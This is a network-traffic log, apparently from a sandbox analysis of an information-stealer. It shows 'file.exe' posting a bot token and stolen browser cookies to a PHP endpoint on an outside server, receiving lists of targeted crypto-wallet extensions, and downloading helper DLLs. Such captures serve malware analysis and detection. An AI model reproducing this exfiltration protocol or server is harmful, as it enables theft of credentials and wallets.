Dec 6, 2024 22:08:18.794378996 CET	1236	IN	Data Raw: 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 77 78 66 44 42 38 4d 48 78 61 62 32 Data Ascii: a2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnB
Dec 6, 2024 22:08:18.801362038 CET	496	IN	Data Raw: 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 31 71 62 57 4e 76 62 32 6c 6d 59 6e Data Ascii: MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20
Dec 6, 2024 22:08:18.983532906 CET	544	IN	Data Raw: 5a 57 52 69 61 6d 6c 76 61 58 42 6e 62 47 64 6a 59 6d 4e 74 62 6d 4a 77 5a 32 78 70 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 Data Ascii: ZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5
Dec 6, 2024 22:08:18.985259056 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDBFBKKJDHJKECBGDAK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 36 39 31 66 63 62 37 30 34 65 63 66 65 38 65 35 62 61 62 64 30 30 33 66 66 36 30 64 36 31 30 36 38 66 33 62 33 31 39 30 30 38 62 65 35 34 39 64 39 66 66 38 66 36 32 33 36 38 66 31 61 37 35 37 33 34 30 32 62 33 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------HJDBFBKKJDHJKECBGDAKContent-Disposition: form-data; name="token"da691fcb704ecfe8e5babd003ff60d61068f3b319008be549d9ff8f62368f1a7573402b3------HJDBFBKKJDHJKECBGDAKContent-Disposition: form-data; name="message"fplugins------HJDBFBKKJDHJKECBGDAK--
Dec 6, 2024 22:08:19.429490089 CET	335	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 6, 2024 22:08:19.449913025 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIDAAAKJJDBGCBFCBGI Host: 185.215.113.206 Content-Length: 6707 Connection: Keep-Alive Cache-Control: no-cache
Dec 6, 2024 22:08:19.449990034 CET	6707	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 36 39 31 66 Data Ascii: ------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="token"da691fcb704ecfe8e5babd003ff60d61068f3b319008be549d9ff8f62368f1a7573402b3------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 6, 2024 22:08:20.536921978 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 6, 2024 22:08:21.574681997 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 6, 2024 22:08:22.037440062 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:21 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49750	185.215.113.206	80	6720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:08:31.779201984 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHDHIDGHIDGIECBKKJJ Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 36 39 31 66 63 62 37 30 34 65 63 66 65 38 65 35 62 61 62 64 30 30 33 66 66 36 30 64 36 31 30 36 38 66 33 62 33 31 39 30 30 38 62 65 35 34 39 64 39 66 66 38 66 36 32 33 36 38 66 31 61 37 35 37 33 34 30 32 62 33 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------DGHDHIDGHIDGIECBKKJJContent-Disposition: form-data; name="token"da691fcb704ecfe8e5babd003ff60d61068f3b319008be549d9ff8f62368f1a7573402b3------DGHDHIDGHIDGIECBKKJJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------DGHDHIDGHIDGIECBKKJJContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DGHDHIDGHIDGIECBKKJJ--
Dec 6, 2024 22:08:33.617999077 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 6, 2024 22:08:33.713232994 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJJKFCBGIDGHIECGCBK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 36 39 31 66 63 62 37 30 34 65 63 66 65 38 65 35 62 61 62 64 30 30 33 66 66 36 30 64 36 31 30 36 38 66 33 62 33 31 39 30 30 38 62 65 35 34 39 64 39 66 66 38 66 36 32 33 36 38 66 31 61 37 35 37 33 34 30 32 62 33 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="token"da691fcb704ecfe8e5babd003ff60d61068f3b319008be549d9ff8f62368f1a7573402b3------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="file"------EHJJKFCBGIDGHIECGCBK--
Dec 6, 2024 22:08:34.646703005 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49789	185.215.113.206	80	6720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:08:46.876507998 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKEBFBFIEHIDAAAAFHCF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 42 46 42 46 49 45 48 49 44 41 41 41 41 46 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 36 39 31 66 63 62 37 30 34 65 63 66 65 38 65 35 62 61 62 64 30 30 33 66 66 36 30 64 36 31 30 36 38 66 33 62 33 31 39 30 30 38 62 65 35 34 39 64 39 66 66 38 66 36 32 33 36 38 66 31 61 37 35 37 33 34 30 32 62 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 42 46 42 46 49 45 48 49 44 41 41 41 41 46 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 42 46 42 46 49 45 48 49 44 41 41 41 41 46 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JKEBFBFIEHIDAAAAFHCFContent-Disposition: form-data; name="token"da691fcb704ecfe8e5babd003ff60d61068f3b319008be549d9ff8f62368f1a7573402b3------JKEBFBFIEHIDAAAAFHCFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKEBFBFIEHIDAAAAFHCFContent-Disposition: form-data; name="file"------JKEBFBFIEHIDAAAAFHCF--
Dec 6, 2024 22:08:48.705735922 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 6, 2024 22:08:49.011256933 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 6, 2024 22:08:49.448693991 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 6, 2024 22:08:49.448889971 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO
Dec 6, 2024 22:08:49.448899984 CET	1236	IN	Data Raw: 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 0a 08 00 83 c4 04 31 f6 eb 3c c7 87 Data Ascii: ?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$HD$4r
Dec 6, 2024 22:08:49.449436903 CET	1236	IN	Data Raw: 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 Data Ascii: $D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(
Dec 6, 2024 22:08:49.449450016 CET	1236	IN	Data Raw: c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 Data Ascii: 19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U
Dec 6, 2024 22:08:49.450303078 CET	1236	IN	Data Raw: 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 c4 08 85 c0 74 2c 8b 1f 85 db 74 14 Data Ascii: WVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVP
Dec 6, 2024 22:08:49.450314999 CET	1236	IN	Data Raw: f6 eb 12 68 05 e0 ff ff e8 de f7 07 00 83 c4 04 be ff ff ff ff 8b 4d f0 31 e9 e8 29 f6 07 00 89 f0 81 c4 04 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 b4 30 0a 10 31 e8 89 45 f0 68 02 01 00 Data Ascii: hM1)^_[]USWV01Eh1E=s hkhVohh !Vf.@uVuW)9wSuW
Dec 6, 2024 22:08:49.451323032 CET	1236	IN	Data Raw: 14 01 00 d3 88 5d e8 0f b6 f3 89 f9 8b 7d f0 8a 1c 37 8b 7d f0 88 1c 07 89 cf 8b 45 f0 88 14 30 00 d3 0f b6 c3 8b 4d 10 8a 51 02 8b 4d f0 32 14 01 8b 4d d4 8b 45 e4 88 50 02 8b 5d dc 8b 45 d0 8b 55 d8 2b 55 cc 89 55 d8 83 c7 04 83 c3 04 8b 55 e0 Data Ascii: ]}7}E0MQM2MEP]EU+UUU9)]}1EEMAMfo 1ff}]fn4ff`fafofrfo f[f
Dec 6, 2024 22:08:49.451334953 CET	1236	IN	Data Raw: 0f b6 14 02 00 d1 0f b6 d9 8b 7d f0 8a 34 1f 8b 7d f0 88 34 07 8b 45 f0 88 14 18 8b 5d dc 00 d6 0f b6 c6 8b 55 f0 0f b6 04 02 c1 e0 18 09 f0 8b 75 d8 33 45 d4 8b 55 e8 89 04 13 8b 45 e8 83 c6 fc 83 c0 04 89 75 d8 83 fe 03 0f 87 f0 fe ff ff 8b 7d Data Ascii: }4}4E]Uu3EUEu}U}]E]E8u40480u}T20ETEuE14^_[]UM1]U}
Dec 6, 2024 22:08:49.452202082 CET	1236	IN	Data Raw: f3 01 89 9d 60 ff ff ff 8b 9d 74 ff ff ff 8b 53 20 89 95 4c ff ff ff 8b 8d dc fe ff ff 8b 41 10 89 85 ac fe ff ff 89 c6 01 d6 8b 53 24 89 95 1c ff ff ff 8b 41 14 89 85 b0 fe ff ff 89 c7 11 d7 8b 41 30 89 85 d0 fe ff ff 01 c6 89 f3 8b 41 34 89 85 Data Ascii: `tS LAS$AA0A4}qT1QP1kA+]rn<}33Ht{({,]HE]11EuUUu
Dec 6, 2024 22:08:49.457184076 CET	892	IN	Data Raw: a8 31 c2 89 55 a8 8b 7d 88 31 cf 89 7d 88 8b 45 dc 01 d0 89 45 dc 8b 4d d8 11 f9 89 4d d8 31 c3 31 ce 89 d8 0f a4 f0 08 0f a4 de 08 8b 95 74 ff ff ff 8b 4a 7c 89 8d 50 ff ff ff 8b 7a 78 89 bd 74 ff ff ff 8b 5d d0 01 fb 8b 55 e4 11 ca 01 f3 89 5d Data Ascii: 1U}1}EEMM11tJ\|Pzxt]U]U}1M1xM}}MM11ETMdEMu1uU1EEMM11}`]D
Dec 6, 2024 22:08:50.917099953 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 6, 2024 22:08:51.384691000 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 6, 2024 22:08:52.328382015 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 6, 2024 22:08:52.765410900 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
